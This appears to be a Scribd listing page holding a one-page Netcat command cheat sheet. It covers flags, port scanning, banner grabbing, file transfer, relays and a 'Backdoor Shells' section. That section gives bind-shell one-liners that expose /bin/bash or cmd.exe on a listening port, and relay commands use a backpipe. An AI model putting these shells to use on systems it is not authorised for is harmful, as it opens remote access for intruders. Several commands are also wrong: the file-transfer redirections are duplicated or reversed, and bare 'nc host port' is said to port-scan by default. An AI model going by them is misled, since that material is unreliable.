0% found this document useful (0 votes)
7 views

Netcat Commands Cheat Sheet

The document is a cheat sheet for the Netcat command, detailing its fundamental usage, command flags, file transfer capabilities, and backdoor shell execution. It includes specific commands for initiating listeners, sending and receiving files, and performing port scans. Additionally, it provides examples for setting up relays on both Windows and Linux systems.

Uploaded by

smdqteg338
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
7 views

Netcat Commands Cheat Sheet

The document is a cheat sheet for the Netcat command, detailing its fundamental usage, command flags, file transfer capabilities, and backdoor shell execution. It includes specific commands for initiating listeners, sending and receiving files, and performing port scans. Additionally, it provides examples for setting up relays on both Windows and Linux systems.

Uploaded by

smdqteg338
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 1

NETCAT COMMAND

CHEAT SHEET
Netcat Fundamentals Netcat Command Flags
nc [options] [host] [port] nc -4 – Use IPv4 only
By default this will execute a port scan
nc -6 – Use IPv6
nc -l [host] [port]
Initiates a listener on the given port nc -u – Use UDP instead of TCP

nc -k -l – Continue listening after disconnection


Netcat File Transfer nc -n – Skip DNS lookups
nc [host] [port] > file_name.out nc -v – Provide verbose output
Send a file

nc [host] [port] > file_name.in


Receive a file Netcat Port Scanner
nc -zv site.com 80
Netcat Backdoor Shells Scan a single port

nc -l -p [port] -e /bin/bash nc -zv hostname.com 80 84


Run a shell on Linux Scan a set of individual ports

nc -l -p [port] -e cmd.exe nc -zv site.com 80-84


Run a shell on Netcat for Windows Scan a range of ports

Netcat Relays on Windows Netcat File Transfer


nc [host] [port] > relay.bat nc [host] [port] > file_name.out
Open a relay connection Send a file

nc -l -p [port] -e relay.bat nc [host] [port] < file_name.in


Connect to relay Receive a file

Netcat Relays on Linux Netcat Banners


nc -l -p [port] 0 < backpipe | nc [client IP] echo "" | nc -zv -wl [host] [port range]
[port] | tee backpipe Obtain the TCP banners for a range of ports

You might also like